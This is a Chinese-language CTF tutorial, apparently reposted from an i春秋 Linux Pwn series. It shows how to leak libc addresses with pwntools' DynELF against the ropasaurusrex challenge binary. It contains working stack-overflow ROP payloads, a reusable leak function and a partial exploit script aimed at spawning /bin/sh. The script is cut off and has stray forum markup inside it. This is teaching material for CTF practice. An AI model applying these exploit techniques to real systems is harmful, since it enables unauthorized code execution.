pointer 获取内存地址_CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc

Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程。

教程仅针对i386/amd64下的Linux Pwn常见的Pwn手法,如栈,堆,整数溢出,格式化字符串,条件竞争等进行介绍,所有环境都会封装在Docker镜像当中,并提供调试用的教学程序,来自历年赛事的原题和带有注释的python脚本。

前期课程回顾>>

Linux Pwn入门教程第一章:环境配置

Linux Pwn入门教程第二章:栈溢出基础

Linux Pwn入门教程第三章:ShellCode

Linux Pwn入门教程第四章:ROP技术

Linux Pwn入门教程第五章:调整栈帧的技巧

今天i春秋与大家分享的是Linux Pwn入门教程第六章:利用漏洞获取libc,阅读用时约12分钟。

085f6a5c506f2822c8fe5b51070986af.png

DynELF简介

在前面几篇文章中,为了降低难度,很多通过调用库函数system的题目我们实际上都故意留了后门或者提供了目标系统的libc版本。不同版本的libc,函数首地址相对于文件开头的偏移和函数间的偏移不一定一致。所以如果题目不提供libc,通过泄露任意一个库函数地址计算出system函数地址的方法就不好使了。这就要求我们想办法获取目标系统的libc。

关于远程获取libc,pwntools在早期版本就提供了一个解决方案——DynELF类。

DynELFl的官方文档:

http://docs.pwntools.com/en/stable/dynelf.html

其具体的原理可以参阅文档和源码,DynELF通过程序漏洞泄露出任意地址内容,结合ELF文件的结构特征获取对应版本文件并计算比对出目标符号在内存中的地址。DynELF类的使用方法如下:

io = remote(ip, port) def leak(addr): payload2leak_addr = “****” + pack(addr) + “****” io.send(payload2leak_addr) data = io.recv() return data d = DynELF(leak, pointer = pointer_into_ELF_file, elf = ELFObject)system_addr = d.lookup(“system”, libc)

使用DynELF时,我们需要使用一个leak函数作为必选参数,指向ELF文件的指针或者使用ELF类加载的目标文件至少提供一个作为可选参数,以初始化一个DynELF类的实例d。然后就可以通过这个实例d的方法lookup来搜寻libc库函数了。

其中,leak函数需要使用目标程序本身的漏洞泄露出由DynELF类传入的int型参数addr对应的内存地址中的数据。且由于DynELF会多次调用leak函数,这个函数必须能任意次使用,即不能泄露几个地址之后就导致程序崩溃。由于需要泄露数据,payload中必然包含着打印函数,如write, puts, printf等,我们根据这些函数的特点将其分成两部分分别进行讲解。

DynELF的使用——write函数

我们先来看比较简单的write函数。write函数的特点在于其输出完全由其参数size决定,只要目标地址可读,size填多少就输出多少,不会受到诸如‘0’, ‘’之类的字符影响。因此leak函数中对数据的读取和处理较为简单。

我们开始分析例子~/PlaidCTF 2013 ropasaurusrex/ropasaurusrex,这个32位程序的结构非常简单,一个有栈溢出的read,一个write。没有libc,got表里没有system,也没有int 80h/syscall。

08c830b3690162f70015a8ac6877dc79.png

这种情况下我们就可以使用DynELF来leaklibc,进而获取system函数在内存中的地址。

首先我们来构建一个可以泄露任意地址的ROP链。通过测试我们可以知道栈溢出到EIP需要140个字节,因此我们可以构造一个payload如下:

elf = ELF(‘./ropasaurusrex’) #别忘了在脚本所在目录下放一个程序文件ropasaurusrex write_addr = elf.symbols['write'] payload = “A”*140payload += p32(write_addr)payload += p32(0)payload += p32(1)payload += p32(0x08048000)payload += p32(8)

使用payload打印出ELF文件在内存中的首地址0x08048000,write( )运行结束后返回的地址随便填写,编写脚本后发现可以正确输出结果:

2c5c7d1aa5b3b2b3339932c9444e2980.png

现在我们需要让这个payload可以被重复使用。首先我们需要改掉write函数返回的地址,以免执行完write之后程序崩溃。那么改成什么好呢?继续改成write是不行的,因为参数显然没办法继续传递。如果使用pop清除栈又会导致栈顶下降,多执行几次就会耗尽栈空间。这里我们可以把返回地址改成start段的地址:

b5d03b8e49e77f0077310ac0800b6dda.png

这段代码是编译器添加的,用于初始化程序的运行环境后,执行完相应的代码后会跳转到程序的入口函数main运行程序代码。因此,在执行完write函数泄露数据后,我们可以返回到这里刷新一遍程序的环境,相当于是重新执行了一遍程序。现在的payload封装成leak函数如下:

def leak(addr): payload = '' payload += 'A'*140 #padding payload += p32(write_addr) #调用write payload += p32(start_addr) #write返回到start payload += p32(1) #write第一个参数fd payload += p32(addr) #write第二个参数buf payload += p32(8) #write第三个参数size io.sendline(payload) content = io.recv()[:8] print("%#x -> %s" %(addr, (content or '').encode('hex'))) return content

我们加了一行print输出leak执行的状态,用于debug。使用DynELF泄露system函数地址,显示如下:

bec65c59b2abbd971887fc771aed188a.png

我们可以利用这个DynELF类的实例泄露read函数的真正内存地址,用于读取“/bin/sh”字符串到内存中,以便于执行system(“/bin/sh”)。最终脚本如下:

#!/usr/bin/python#coding:utf-8[/size][/align][align=left][size=3]from pwn import * io = remote('172.17.0.2', 10001)[/size][/align][align=left][size=3]elf = ELF('./ropasaurusrex') start_addr = 0x08048340write_addr = elf.symbols['write']binsh_addr = 0x08049000 def leak(addr): payload = '' payload += 'A'*140 #padding payload += p32(write_addr) #调用write payload += p32(start_addr) #write返回到start payload += p32(1) #write第一个参数fd payload += p32(addr) #write第二个参数buf payload += p32(8) #write第三个参数size io.sendline(payload) content = io.recv()[:8] print("%#x -> %s" %(addr, (content or '').encode('hex'))) return content d = DynELF(leak, elf = elf)system_addr = d.lookup('system', 'libc')read_addr = d.lookup('read', 'libc') log.info("system_addr = %#x
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值